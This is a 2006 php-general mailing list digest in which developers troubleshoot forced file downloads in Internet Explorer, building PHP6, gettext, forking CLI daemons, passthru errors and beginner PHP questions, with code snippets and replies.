OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
php-general Digest 14 Jun 2006 17:31:33 -0000 Issue 4185

php-general-digest-helplists.php.net
Date: Wed Jun 14 2006 - 12:31:33 CDT


php-general Digest 14 Jun 2006 17:31:33 -0000 Issue 4185

Topics (messages 237949 through 237987):

Re: Setting headers for file download
        237949 by: Peter Lauri
        237951 by: Frank Arensmeier
        237972 by: Peter Lauri
        237973 by: Barry
        237974 by: Peter Lauri
        237975 by: Barry

Re: PHP6 build help
        237950 by: Rabin Vincent
        237952 by: Rory Browne
        237954 by: Ligaya Turmelle
        237960 by: Rabin Vincent
        237979 by: Rory Browne

Re: GetText string not found
        237953 by: Ruben Rubio Rey

Re: Dettach problem
        237955 by: grape
        237956 by: Jochem Maas
        237957 by: grape
        237961 by: Jochem Maas
        237966 by: grape

Re: php->html "rendering"
        237958 by: Jochem Maas

Problem with the passthru function
        237959 by: Venkatesh Babu
        237962 by: Rabin Vincent
        237963 by: Venkatesh Babu

Re: preg_replace \\1 yIKES!
        237964 by: sam
        237965 by: Jochem Maas
        237967 by: Stut
        237968 by: sam
        237971 by: Jochem Maas
        237976 by: tedd

references for beginner...
        237969 by: BBC
        237970 by: nicolas figaro
        237978 by: tedd
        237987 by: BBC

Re: Setting headers for file download [medium]
        237977 by: Rafael

Re: Seeking recommendations for use of include()
        237980 by: Dave M G

Simple class declaration returns error
        237981 by: Dave M G
        237982 by: Brad Bonkoski
        237986 by: Dave M G

Calculating difference between two days
        237983 by: afan.afan.net
        237984 by: Brad Bonkoski
        237985 by: D. Dante Lorenso

Administrivia:

To subscribe to the digest, e-mail:
        php-general-digest-subscribelists.php.net

To unsubscribe from the digest, e-mail:
        php-general-digest-unsubscribelists.php.net

To post to the list, e-mail:
        php-generallists.php.net

----------------------------------------------------------------------

attached mail follows:


I will try that after golf...

-----Original Message-----
From: Rafael [mailto:rsalazarmgmail.com]
Sent: Wednesday, June 14, 2006 6:28 AM
To: php-generallists.php.net
Subject: [PHP] Re: Setting headers for file download

        I use something like this...
   $file_len = filesize($file_name);
   $file_ts = filemtime($file_name);
   header('Content-Type: application/x-octet-stream'); // none known
   header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
   header('Last-Modified: '. gmdate('D, d M Y H:i:s', $file_ts) .' GMT');
   header('Content-Disposition: attachment; filename="'.
basename($file_name) .'"');
   header("Content-Length: $file_len");
   readfile($file_name);

Peter Lauri wrote:
> Best group member,
>
> This is how I try to push files to download using headers:
>
> header("Content-type: $file_type");
> header("Content-Disposition: attachment; filename=$filename");
> print $file;
>
> It works fine in FireFox, but not that good in IE. I have been googled to
> find the fix for IE, but I can not find it. Anyone with experience of
this?
>
> Best regards,
> Peter Lauri

--
Atentamente / Sincerely,
J. Rafael Salazar Magaña

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

attached mail follows:


I was working on a script that was supposed to generate PDF files on
the fly and ran into the same problem as you described. MS IE has
always been and will always be (?) a P.I.T.A. when it comes to
following standards (I am not really sure if the header application/x-
octet-steam is a standrad in order to force a download). I came up
with this little helper:

<?php
$filename = "example.pdf";
$len = filesize ($filename );

if ( ( preg_match('|MSIE ([0-9.]+)|', $agent, $version ) ) ||
( preg_match( '|Internet Explorer/([0-9.]+)|', $agent, $version ) ) )
{
        header( 'Content-Type: application/x-msdownload' );
        header( 'Content-Length: ' . $len );
        if ( $version == '5.5' )
        {
                header( 'Content-Disposition: filename="' . $filename . '"' );
        } else {
                header( 'Content-Disposition: attachment; filename="' . $filename .
'"' );
        }
} else {
        header( 'Content-Type: application/pdf' );
        header( 'Content-Length: ' . $len );
        header( 'Content-disposition: attachment; filename=' . $filename );
}
echo file_get_contents($filename);
?>

All browsers I have tested with do show the download frame (Opera,
Safari, IE, Firefox, Mozilla browsers). But, as Richard already
mentioned, I had to "fake" the download URL, like "http://
www.site.com/downloads/example.pdf". In the folder "downloads" I put
a .htaccess file with the line "ErrorDocument 404 /link/to/my/php/
script.php".

/frank

14 jun 2006 kl. 02.19 skrev Peter Lauri:

> I will try that after golf...
>
> -----Original Message-----
> From: Rafael [mailto:rsalazarmgmail.com]
> Sent: Wednesday, June 14, 2006 6:28 AM
> To: php-generallists.php.net
> Subject: [PHP] Re: Setting headers for file download
>
> I use something like this...
> $file_len = filesize($file_name);
> $file_ts = filemtime($file_name);
> header('Content-Type: application/x-octet-stream'); // none known
> header('Cache-Control: must-revalidate, post-check=0, pre-
> check=0');
> header('Last-Modified: '. gmdate('D, d M Y H:i:s', $file_ts) .'
> GMT');
> header('Content-Disposition: attachment; filename="'.
> basename($file_name) .'"');
> header("Content-Length: $file_len");
> readfile($file_name);
>
>
> Peter Lauri wrote:
>> Best group member,
>>
>> This is how I try to push files to download using headers:
>>
>> header("Content-type: $file_type");
>> header("Content-Disposition: attachment; filename=$filename");
>> print $file;
>>
>> It works fine in FireFox, but not that good in IE. I have been
>> googled to
>> find the fix for IE, but I can not find it. Anyone with experience of
> this?
>>
>> Best regards,
>> Peter Lauri
>
> --
> Atentamente / Sincerely,
> J. Rafael Salazar Magaña
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

attached mail follows:


I got it working on one server, but not the real server. I just took your
code and voila it was working (with some modifications).

It works on:
Localhost Windows
Plesk Server running Plesk 7.5

Not working on:
Plesk Server running Plesk 7.0

Then the questions is: Where should I start to search in WHY the server is
not sending the correct headers? This is becoming more and more irritating
:)

Best regards,
Peter Lauri

-----Original Message-----
From: Rafael [mailto:rsalazarmgmail.com]
Sent: Wednesday, June 14, 2006 6:28 AM
To: php-generallists.php.net
Subject: [PHP] Re: Setting headers for file download

        I use something like this...
   $file_len = filesize($file_name);
   $file_ts = filemtime($file_name);
   header('Content-Type: application/x-octet-stream'); // none known
   header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
   header('Last-Modified: '. gmdate('D, d M Y H:i:s', $file_ts) .' GMT');
   header('Content-Disposition: attachment; filename="'.
basename($file_name) .'"');
   header("Content-Length: $file_len");
   readfile($file_name);

Peter Lauri wrote:
> Best group member,
>
> This is how I try to push files to download using headers:
>
> header("Content-type: $file_type");
> header("Content-Disposition: attachment; filename=$filename");
> print $file;
>
> It works fine in FireFox, but not that good in IE. I have been googled to
> find the fix for IE, but I can not find it. Anyone with experience of
this?
>
> Best regards,
> Peter Lauri

--
Atentamente / Sincerely,
J. Rafael Salazar Magaña

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

attached mail follows:


Peter Lauri schrieb:
> Best group member,
>
> This is how I try to push files to download using headers:
>
> header("Content-type: $file_type");
> header("Content-Disposition: attachment; filename=$filename");
> print $file;
>
> It works fine in FireFox, but not that good in IE. I have been googled to
> find the fix for IE, but I can not find it. Anyone with experience of this?
>
> Best regards,
> Peter Lauri

There ya go:
// fix for IE catching or PHP bug issue
        header("Pragma: public");
        header("Expires: 0"); // set expiration time
         header("Cache-Control: must-revalidate, post-check=0,
pre-check=0");
         // browser must download file from server instead of cache

         // force download dialog
         header("Content-Type: application/force-download");
         header("Content-Type: application/octet-stream");
         header("Content-Type: application/download");

         // use the Content-Disposition header to supply a recommended
filename and
         // force the browser to display the save dialog.
         header("Content-Disposition: attachment; filename=".$path.";");

         header("Content-Transfer-Encoding: binary");

         header("Content-Length: ".filesize($file));

         readfile($file);

--
Smileys rule (cX.x)C --o(^_^o)
Dance for me! ^(^_^)o (o^_^)o o(^_^)^ o(^_^o)

attached mail follows:


That did it, thanks...

Ok, my knowledge about HTTP is not the best. But how can you send three
different content-type headers? :)

-----Original Message-----
From: Barry [mailto:barryflyerheaven.de]
Sent: Wednesday, June 14, 2006 8:36 PM
To: php-generallists.php.net
Subject: [PHP] Re: Setting headers for file download

Peter Lauri schrieb:
> Best group member,
>
> This is how I try to push files to download using headers:
>
> header("Content-type: $file_type");
> header("Content-Disposition: attachment; filename=$filename");
> print $file;
>
> It works fine in FireFox, but not that good in IE. I have been googled to
> find the fix for IE, but I can not find it. Anyone with experience of
this?
>
> Best regards,
> Peter Lauri

There ya go:
// fix for IE catching or PHP bug issue
        header("Pragma: public");
        header("Expires: 0"); // set expiration time
         header("Cache-Control: must-revalidate, post-check=0,
pre-check=0");
         // browser must download file from server instead of cache

         // force download dialog
         header("Content-Type: application/force-download");
         header("Content-Type: application/octet-stream");
         header("Content-Type: application/download");

         // use the Content-Disposition header to supply a recommended
filename and
         // force the browser to display the save dialog.
         header("Content-Disposition: attachment; filename=".$path.";");

         header("Content-Transfer-Encoding: binary");

         header("Content-Length: ".filesize($file));

         readfile($file);

--
Smileys rule (cX.x)C --o(^_^o)
Dance for me! ^(^_^)o (o^_^)o o(^_^)^ o(^_^o)

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

attached mail follows:


Peter Lauri schrieb:
> That did it, thanks...
>
> Ok, my knowledge about HTTP is not the best. But how can you send three
> different content-type headers? :)
>
>
There are not so different at all.
Just giving the browser the job to download that thing.

Every browser likes to interpret every content-type like he wants to.
They ignore mostly every type they dislike.

That's the problem you encounter in using firefox/IE.

Greets
        Barry

--
Smileys rule (cX.x)C --o(^_^o)
Dance for me! ^(^_^)o (o^_^)o o(^_^)^ o(^_^o)

attached mail follows:


On 6/14/06, Ligaya Turmelle <ligmaolek.com> wrote:
> Richard Lynch wrote:
> > You realize that compiling PHP6 from CVS is, errr, not really for
> > newbies... :-)
> Yeah - I know. but I am helping out the php qa team by writing some
> phpt tests... and they prefer (though don't require) the tests also
> include the unicode support. which means PHP6. As I told them - guess
> that means it is time for me to learn something new.
>
> > You do not seem to have the 'lex' command, which means you probably
> > didn't install 'lex'
> >
> > you can Google for the error message (the last line or two) and find
> > links to how to get it and install 'lex'
> D'uh. I have never heard of the lex command before... Will search and
> hopefully install it. Will let you know how it goes.

Run this command: sudo apt-get build-dep php5

This will get you all the packages needed to build php5, which
should be most of what is needed for php6.

Rabin

attached mail follows:


Only if (s)he''s on a debian based linux distro.

I see from his configure output, that he's on Linux, but what makes you
think he's on Debian ( or on a system with apt-rpm ) ?

>
> Run this command: sudo apt-get build-dep php5
>
> This will get you all the packages needed to build php5, which
> should be most of what is needed for php6.
>
> Rabin
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

attached mail follows:


Rabin Vincent wrote:
> On 6/14/06, Ligaya Turmelle <ligmaolek.com> wrote:
>
>> Richard Lynch wrote:
>> > You realize that compiling PHP6 from CVS is, errr, not really for
>> > newbies... :-)
>> Yeah - I know. but I am helping out the php qa team by writing some
>> phpt tests... and they prefer (though don't require) the tests also
>> include the unicode support. which means PHP6. As I told them - guess
>> that means it is time for me to learn something new.
>>
>> > You do not seem to have the 'lex' command, which means you probably
>> > didn't install 'lex'
>> >
>> > you can Google for the error message (the last line or two) and find
>> > links to how to get it and install 'lex'
>> D'uh. I have never heard of the lex command before... Will search and
>> hopefully install it. Will let you know how it goes.
>
>
> Run this command: sudo apt-get build-dep php5
>
> This will get you all the packages needed to build php5, which
> should be most of what is needed for php6.
>
> Rabin
>
Didn't know I could even do that - thanks.

--

life is a game... so have fun.

attached mail follows:


On 6/14/06, Rory Browne <rory.brownegmail.com> wrote:
> Only if (s)he''s on a debian based linux distro.
>
> I see from his configure output, that he's on Linux, but what makes you
> think he's on Debian ( or on a system with apt-rpm ) ?

The first line of Ligaya's email said: "Ubuntu Breezy Badger,
AMD 64". That's a Debian-based distro.

Rabin

attached mail follows:


/me goes and bangs head against wall.

On 6/14/06, Rabin Vincent <rabinrab.in> wrote:
>
> On 6/14/06, Rory Browne <rory.brownegmail.com> wrote:
> > Only if (s)he''s on a debian based linux distro.
> >
> > I see from his configure output, that he's on Linux, but what makes you
> > think he's on Debian ( or on a system with apt-rpm ) ?
>
> The first line of Ligaya's email said: "Ubuntu Breezy Badger,
> AMD 64". That's a Debian-based distro.
>
> Rabin
>

attached mail follows:


Is strange that there is not a really good solution for this problem, i
think its not very strange. Maybe i ll request this feature, I think is
interesting, useful and not so hard to add.

Anyway, I cannot use "ob_ " functions, i ll have problems with some
functions.

So, the solution seems to extend "_" function, that provides me the
posibility to report "strings" not found.

The bad think is that I ll have to make thousands of modifications in
order to implement this feature in the webpage :(

Thanks to everybody!

Richard Lynch wrote:

>On Tue, June 13, 2006 6:30 am, Ruben Rubio Rey wrote:
>
>
>>I am using gettext to get a web page in several languages.
>>
>>When gettext does not found an string, it shows the string.
>>
>>Is it possible to detect when a string is not found, in order to advis
>>me ?
>>
>>
>
>My experience, if you call it that, with gettext consists of reading
>the manual and saying "Neat!", so take this with a HUGE grain of
>salt...
>
>One option that MIGHT work would be:
>
>function ___ ($string) {
> //check for existince of the language file/string by hand :-(
>}
>
>Another option, perhaps, would be to have your "default" language be
>something really... weird, and then the output itself would be icky...
>
>I suppose you could do something hacky like:
>
><?php
>ob_start();
>__'GETTEXT_START_MARKER This is the actual message GETTEXT_END_MARKER';
>?>
>All code/html here.
><?php
>$output = ob_get_contents();
>preg_match_all('/GETTEXT_START_MARKER (.*) GETEXT_END_MARKER/U',
>$output, $gettexts);
>foreach($gettexts[1] as $unknown){
> error_log($unknown);
>}
>$output = str_replace(array('GETTEXT_START_MARKER ', '
>GETTEXT_END_MARKER'), '', $output);
>echo $output;
>?>
>
>Ugh.
>
>
>
>Maybe a Feature Request at GetText and/or bugs.php.net would be in
>order...
>
>
>

attached mail follows:


Hello,

Jochem Maas skrev:

>pure guess work coming up...
>
>grape wrote:
>
>
>>Hi all,
>>
>>I would like run a php-script via CLI which outputs some information to
>>stdout, and then go into background. I use code similar to this to fork
>>and to dettach the child I/O from the TTY (some error handling removed
>>to improve readability)
>>
>><?
>>echo "Hello from parent\n";
>>
>>if(pcntl_fork()) {
>> exit;
>>}
>>
>>posix_setsid();
>>
>>fclose( STDIN );
>>fclose( STDOUT );
>>fclose( STDERR );
>>
>>if(pcntl_fork()) {
>> exit;
>>}
>>
>>
>
>what happens if you move the fclose() statements after this
>if() statement?
>
>
I get the same result.
In fact, I tried a *lot* of variations of this code without success.

>is STDIN et al actually defined? they should be - but we all
>theory and practice often live on different planets :-)
>
>
That is very true :-) Yup, the're "resource(1) of type (stream)" alright.

>are you using the same sapi in both version (i.e. are you maybe using
>CGI now iso CLI?)
>
>
I'm using CLI in both environments.

>
>
>>echo "This message should NOT go to stdout of parent process\n";
>>?>
>>
>>It works fine using PHP version 5.0.4, but when using PHP version 5.1.2
>>the output of the child ("This message....") goes to stdout of the
>>parent process. So if I do:
>>
>>php test.php >output
>>
>>Using PHP 5.1.2, the file contains:
>>
>>---------------
>>Hello from parent
>>This message should NOT go to stdout of parent process
>>---------------
>>
>>Can anybody explain this?
>>I run FreeBSD 6.0-RELEASE...
>>
>>Regards,
>>
>>Grape
>>
>>
>>
/Grape

attached mail follows:


grape wrote:
> Hello,
>

...

>>
>>
> I get the same result.
> In fact, I tried a *lot* of variations of this code without success.

good man, sorry to hear your not finding the problem - seems to look more
like a bug - maybe post some more detailed code? (or does the problem occur
with the actual code you sent previously?)

>
>> is STDIN et al actually defined? they should be - but we all
>> theory and practice often live on different planets :-)
>>
>>
> That is very true :-) Yup, the're "resource(1) of type (stream)" alright.
>
>> are you using the same sapi in both version (i.e. are you maybe using
>> CGI now iso CLI?)
>>
>>
> I'm using CLI in both environments.
>

sorry I couldn't be of any help

attached mail follows:


Hello Richard,

Richard Lynch skrev:

>
>This seems to me like a cogent bug report...
>http://bugs.php.net/
>
>
Yup, I'll report it if we cannot find a explaination in a couple of days.

>But what does the posix_setsid() bit do? Seems like you could take
>that out too, no?... Or does that "promote" the process to "be" the
>parent somehow?... Thereby confusing "fork" into thinking that it's
>not the child process in some twisted weird way? I read the docs ;
>But comprehension is not implied. :-)
>
>
The documentation on posix_setsid() is a bit sparse on php.net, but the
manpage for setsid on my FreeBSD system gives:

DESCRIPTION
     The setsid() system call creates a new session. The calling process is
     the session leader of the new session, is the process group leader of a
     new process group and has no controlling terminal. The calling process
     is the only process in either the session or the process group.

I found a post on the net describing how to run a PHP-script as a
daemon, and the author used posix_setsid() for it to work. Actually, the
posix_setsid() isn't really required to disconnect the childs I/O using
PHP 5.0.4, I can just do:

<?
echo "Hello from parent\n";

if(pcntl_fork()) {
   exit;
}

fclose( STDIN );
fclose( STDOUT );
fclose( STDERR );

echo "This message should not go to stdout\n";
?>

This is was I originally had in my code, but after moving to 5.1.2 I
started to experiment... :-)

A while ago, I discovered that PHP 4.3.10-2 (cli) on a Debian Linux with
2.4.27 kernel "misbehaves" as well, using posix_setsid() or not. I see
the output of the last echo command on stdout of the parent process
there also.

The plot thickens!

/Grape

attached mail follows:


grape wrote:
> Hello Richard,
>
> Richard Lynch skrev:
>
>>
>> This seems to me like a cogent bug report...
>> http://bugs.php.net/
>>
>>
> Yup, I'll report it if we cannot find a explaination in a couple of days.

as a last resort you might as on internalslists.php.net as to whether
anyone there considers this a possible bug.

>
>> But what does the posix_setsid() bit do? Seems like you could take
>> that out too, no?... Or does that "promote" the process to "be" the
>> parent somehow?... Thereby confusing "fork" into thinking that it's
>> not the child process in some twisted weird way? I read the docs ;
>> But comprehension is not implied. :-)
>>
>>
> The documentation on posix_setsid() is a bit sparse on php.net, but the
> manpage for setsid on my FreeBSD system gives:
>
> DESCRIPTION
> The setsid() system call creates a new session. The calling process is
> the session leader of the new session, is the process group leader of a
> new process group and has no controlling terminal. The calling process
> is the only process in either the session or the process group.
>
> I found a post on the net describing how to run a PHP-script as a
> daemon, and the author used posix_setsid() for it to work. Actually, the
> posix_setsid() isn't really required to disconnect the childs I/O using
> PHP 5.0.4, I can just do:
>
> <?
> echo "Hello from parent\n";
>
> if(pcntl_fork()) {
> exit;
> }
>
> fclose( STDIN );
> fclose( STDOUT );
> fclose( STDERR );
>
> echo "This message should not go to stdout\n";
> ?>
>
> This is was I originally had in my code, but after moving to 5.1.2 I
> started to experiment... :-)
>
> A while ago, I discovered that PHP 4.3.10-2 (cli) on a Debian Linux with
> 2.4.27 kernel "misbehaves" as well, using posix_setsid() or not. I see
> the output of the last echo command on stdout of the parent process
> there also.
>
> The plot thickens!
>
> /Grape
>

attached mail follows:


Hi,

Jochem Maas skrev:

>as a last resort you might as on internalslists.php.net as to whether
>anyone there considers this a possible bug.
>
>
>
I'll do that.

Jochem, Richard - thank you for your input.

/Grape

attached mail follows:


Richard Lynch wrote:
> On Mon, June 12, 2006 4:49 pm, Jochem Maas wrote:
>> Ryan A wrote:
>>> Thanks for the suggestion, I am not too familier with
>>> wget but (correct me if i am wrong) wont wget just get
>>> the output from the pages ignoreing the links?
>> that's the default behaviour - but wget has about a zillion
>> parameters for controlling its behaviour, it's quite easy to scrap
>> a complete site in one call and change the file extension of
>> all files as you go (including the relevant links in the files
>> that are downloaded).
>>
>> that said it could take a week to figure out all the
>> parameters. ;-)
>
> True -- even more than a week, for some of us. :-)

well I guessed a week - I never actually got past day three ;-)

>
> However I'm pretty sure ONE of the examples right in the man page for
> wget covers exactly what he wants. :-)

ditto.

>

attached mail follows:


Hello All,

I have a small php file (test.php) whose code is shown
below:

<?php
    $retval=1;
    $command='/bin/ls';
    passthru($command, $retval);
    print("Exit status: " . $retval);
?>

This test.php works fine when I execute from command
prompt as "php test.php", but when I access it through
web browser, it seems not to be working fine, I get an
exit status of 127 (which means command not found). I
checked for permissions of ls, gave full path, but
still it is failing.

Can anybody help me in indentifying what is the
potential problem?

Thank you,
Venkatesh

ps: Sorry if this is the wrong mailing list. I have
subscribed to this list, so posting here.

__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com

attached mail follows:


On 6/14/06, Venkatesh Babu <venkatbabukryahoo.com> wrote:
> I have a small php file (test.php) whose code is shown
> below:
>
> <?php
> $retval=1;
> $command='/bin/ls';
> passthru($command, $retval);
> print("Exit status: " . $retval);
> ?>
>
> This test.php works fine when I execute from command
> prompt as "php test.php", but when I access it through
> web browser, it seems not to be working fine, I get an
> exit status of 127 (which means command not found). I
> checked for permissions of ls, gave full path, but
> still it is failing.
>
> Can anybody help me in indentifying what is the
> potential problem?

Check if safe_mode is on in your php.ini. Turn it off
if it is enabled.

Rabin

attached mail follows:


Hi,

Thanks for your response ....

safe_mode is Off but still I'm getting this problem.

Thank you,
Venkatesh

--- Rabin Vincent <rabinrab.in> wrote:

> On 6/14/06, Venkatesh Babu <venkatbabukryahoo.com>
> wrote:
> > I have a small php file (test.php) whose code is
> shown
> > below:
> >
> > <?php
> > $retval=1;
> > $command='/bin/ls';
> > passthru($command, $retval);
> > print("Exit status: " . $retval);
> > ?>
> >
> > This test.php works fine when I execute from
> command
> > prompt as "php test.php", but when I access it
> through
> > web browser, it seems not to be working fine, I
> get an
> > exit status of 127 (which means command not
> found). I
> > checked for permissions of ls, gave full path, but
> > still it is failing.
> >
> > Can anybody help me in indentifying what is the
> > potential problem?
>
> Check if safe_mode is on in your php.ini. Turn it
> off
> if it is enabled.
>
> Rabin
>

__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com

attached mail follows:


On Jun 13, 2006, at 1:58 PM, tedd wrote:

> At 11:33 AM -0700 6/13/06, sam wrote:
>> Wow this is hard I can't wait till I get the hang of it.
>>
>> Capitalize the first letter of a word.
>
> Try:
>
> <?php
> $word = "yikes";
> $word[0]=strtoupper($word[0]);
> echo($word);
> ?>

This blows my mind. What should one think, "everything is an array"?
Well, okay not every but everything that's in linear consecutive
order; anything that can be indexed?

I was trying to make an array from $word but explode() doesn't take
an empty delimiter so I gave up and went for the preg_replace.

And hey yo, Jochem,
I did RTFM, for hours, I always do before I post to the list. I just
missed all the answers in the fine manual this time. Cut me some slack.

Where should I wire the Euros to?

attached mail follows:


sam wrote:
>
> On Jun 13, 2006, at 1:58 PM, tedd wrote:
>
>> At 11:33 AM -0700 6/13/06, sam wrote:
>>> Wow this is hard I can't wait till I get the hang of it.
>>>
>>> Capitalize the first letter of a word.
>>
>> Try:
>>
>> <?php
>> $word = "yikes";
>> $word[0]=strtoupper($word[0]);
>> echo($word);
>> ?>
>
>
> This blows my mind. What should one think, "everything is an array"?

an array is an array.
a string is a string.

characters in a string can be accessed using array-like notation using the
offset postion of the relevant char (elements are zero based)

> Well, okay not every but everything that's in linear consecutive order;
> anything that can be indexed?
>
> I was trying to make an array from $word but explode() doesn't take an
> empty delimiter so I gave up and went for the preg_replace.
>
>
> And hey yo, Jochem,
> I did RTFM, for hours, I always do before I post to the list. I just

I'd tell you to RTFM (although I did tell you to read the manual regarding
the specifics of using preg_replace()'s 'e' modifier after showing you a
working example of how to use it, based on your original code snippet)

I did berate the fact that you waited no more than 7 minutes before
sending a 'help me' reminder regarding your original post.

> missed all the answers in the fine manual this time. Cut me some slack.

cut you slack? are you a graphic designer or something?

>
> Where should I wire the Euros to?

my paypal account name is my email address :-)

>
> --PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>

attached mail follows:


Jochem Maas wrote:
> I did berate the fact that you waited no more than 7 minutes before
> sending a 'help me' reminder regarding your original post.

While I agree with most of what you are saying, you may want to check
that email again. Sams 'for Eyes burning...' email was in response to
someone privately suggesing that he use ucfirst. It was *not* a 'help
me' reminder, so drop that criticism please.

Aside from that, anyone who manages to miss ucfirst when R'ingTFM for
this problem should RTFM some more.

-Stut

attached mail follows:


>> And hey yo, Jochem,
>> I did RTFM, for hours, I always do before I post to the list. I just
>
> I'd tell you to RTFM (although I did tell you to read the manual
> regarding
> the specifics of using preg_replace()'s 'e' modifier after showing
> you a
> working example of how to use it, based on your original code snippet)

Yes, I'm using your example right now to help me learn this
preg_replace beast.

The php.net page on preg_replace was just to overwhelming for the
exhausted state of mind I was in.

> I did berate the fact that you waited no more than 7 minutes before
> sending a 'help me' reminder regarding your original post.

No, that was a misunderstanding, I was just saying thanks to the guy
who said, "why not just use ulfirst()." (Which I also missed on the
php.net page on strings.)

>
>> missed all the answers in the fine manual this time. Cut me some
>> slack.
>
> cut you slack? are you a graphic designer or something?

How did you know? I was 'in' graphics for 30 years before I threw my
hands up at that lunatic world and decided to become a programmer.

I love the printing industry but ever since the Mac took over
everybody went nuts. The printers are still mad, after 15 years, that
the Mac took away their razor blades and rubylith.

Checks in the mail.

attached mail follows:


Stut wrote:
> Jochem Maas wrote:
>> I did berate the fact that you waited no more than 7 minutes before
>> sending a 'help me' reminder regarding your original post.
>
> While I agree with most of what you are saying, you may want to check
> that email again. Sams 'for Eyes burning...' email was in response to
> someone privately suggesing that he use ucfirst. It was *not* a 'help
> me' reminder, so drop that criticism please.

consider it dropped - I didn't catch that it was a reply to an offlist post.

>
> Aside from that, anyone who manages to miss ucfirst when R'ingTFM for
> this problem should RTFM some more.
>
> -Stut
>

attached mail follows:


At 3:45 AM -0700 6/14/06, sam wrote:
>On Jun 13, 2006, at 1:58 PM, tedd wrote:
>
>>At 11:33 AM -0700 6/13/06, sam wrote:
>>>Wow this is hard I can't wait till I get the hang of it.
>>>
>>>Capitalize the first letter of a word.
>>
>>Try:
>>
>><?php
>>$word = "yikes";
>>$word[0]=strtoupper($word[0]);
>>echo($word);
>>?>
>
>
>This blows my mind. What should one think, "everything is an array"? Well, okay not every but everything that's in linear consecutive order; anything that can be indexed?
>
>I was trying to make an array from $word but explode() doesn't take an empty delimiter so I gave up and went for the preg_replace.

Sorry, it was a throwback to my C days -- using ucfist() is better.

tedd
--
------------------------------------------------------------------------------------
http://sperling.com http://ancientstones.com http://earthstones.com

attached mail follows:


Hii all....
I just joined this forum, I'm beginner of PHP programming.
I didn't understand almost all the syntax you're talking about (ups too
honest, right?), so please...
Does anyone have a kinds of references like soft books or something, which
talk about all the syntax, and what for are they (also how to use if
necessary)
and where can I download it?
thank for all references
best regard
BBC

attached mail follows:


BBC a écrit :
> Hii all....
> I just joined this forum, I'm beginner of PHP programming.
welcome.
> I didn't understand almost all the syntax you're talking about (ups
> too honest, right?), so please...
> Does anyone have a kinds of references like soft books or something,
> which talk about all the syntax, and what for are they (also how to
> use if necessary)
> and where can I download it?
http://www.php.net/manual/ could be a good starting point.
N F
> thank for all references
> best regard
> BBC
>

attached mail follows:


At 5:16 AM -0700 6/14/06, BBC wrote:
>Hii all....
>I just joined this forum, I'm beginner of PHP programming.
>I didn't understand almost all the syntax you're talking about (ups too honest, right?), so please...
>Does anyone have a kinds of references like soft books or something, which talk about all the syntax, and what for are they (also how to use if necessary)
>and where can I download it?
>thank for all references
>best regard
>BBC
>

BBC:

Welcome.

Lot's of good stuff on the net. Do a cursory review of the following and start where you like.

http://www.w3schools.com/php/default.asp
http://www.weberdev.com/ViewArticle/433
http://www.weberdev.com/Manuals/
http://www.unf.edu/~rita0001/eresources/php_tutorials/index.htm
http://www.phpit.net/article/back-to-basics-arrays/

And, of course don't forget mysql

http://www.brainbell.com/tutors/php/php_mysql/index.html
http://www.php-mysql-tutorial.com/index.php

And, ton's of books.

<http://www.amazon.com/gp/search/ref=br_ss_hs/102-6441978-4633725?platform=gurupa&url=index%3Dblended&keywords=php&Go.x=0&Go.y=0&Go=Go>

Some, very good and very cheap. I just wish I could remember all I've read. :-)

hth's

tedd
--
------------------------------------------------------------------------------------
http://sperling.com http://ancientstones.com http://earthstones.com

attached mail follows:


Thank Mr.Figaro.....

----- Original Message -----
From: "nicolas figaro" <nfigarosdv.fr>
To: <php-generallists.php.net>
Sent: Wednesday, June 14, 2006 5:21 AM
Subject: Re: [PHP] references for beginner...

> BBC a écrit :
>> Hii all....
>> I just joined this forum, I'm beginner of PHP programming.
> welcome.
>> I didn't understand almost all the syntax you're talking about (ups too
>> honest, right?), so please...
>> Does anyone have a kinds of references like soft books or something,
>> which talk about all the syntax, and what for are they (also how to use
>> if necessary)
>> and where can I download it?
> http://www.php.net/manual/ could be a good starting point.
> N F
>> thank for all references
>> best regard
>> BBC
>>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>

attached mail follows:


Barry wrote:
> Peter Lauri schrieb:
>> Ok, my knowledge about HTTP is not the best. But how can you send three
>> different content-type headers? :)
>>
> There are not so different at all.
> Just giving the browser the job to download that thing.
>
> Every browser likes to interpret every content-type like he wants to.
> They ignore mostly every type they dislike.

        According to the manual, header() will replace previous "similar
headers" with the new one sent, which would be
   header("Content-Type: application/download");

"The optional replace parameter indicates whether the header should
replace a previous similar header, or add a second header of the same
type. By default it will replace, but if you pass in FALSE as the second
argument you can force multiple headers of the same type"
[1]http://php.net/header

        As for the value of Content-Type it doesn't matter, you only have to
specify an unknown (MIME) type so the browser won't know what to do with
it, hence forcing to download the file.

        As minor notes (after reading a bit the RFC)... "Expires" is expected
to be a date, not a number, and "Pragma" value conflicts with
Cache-control, since...
    public
       Indicates that the response MAY be cached by any cache, even if it
       would normally be non-cacheable or cacheable only within a non-
       shared cache. (See also Authorization, section 14.8, for
       additional details.)

        Also, it seems we're given a wrong use for "must-revalidate" (me
included), that or I misunderstood the RFC documentation --I didn't even
found "pre-check" & "post-check". Content-Disposition is not part of
the HTTP standard and Content-Transfer-Encoding is ignored, since both
seem to be for e-mail usage (LOL) --and it's possible values are
"quoted-printable" o "base64"--. Finally, "Content-Length" and
"Content-Type" seem to apply only if "had the request been a GET".

        Interesting what you learn reading the RFCs, too bad they're too long
and sometimes not that clear.
RFC: http://www.faqs.org/rfcs/rfc2616
--
Atentamente / Sincerely,
J. Rafael Salazar Magaña

attached mail follows:


Larry,

Thank you for responding.
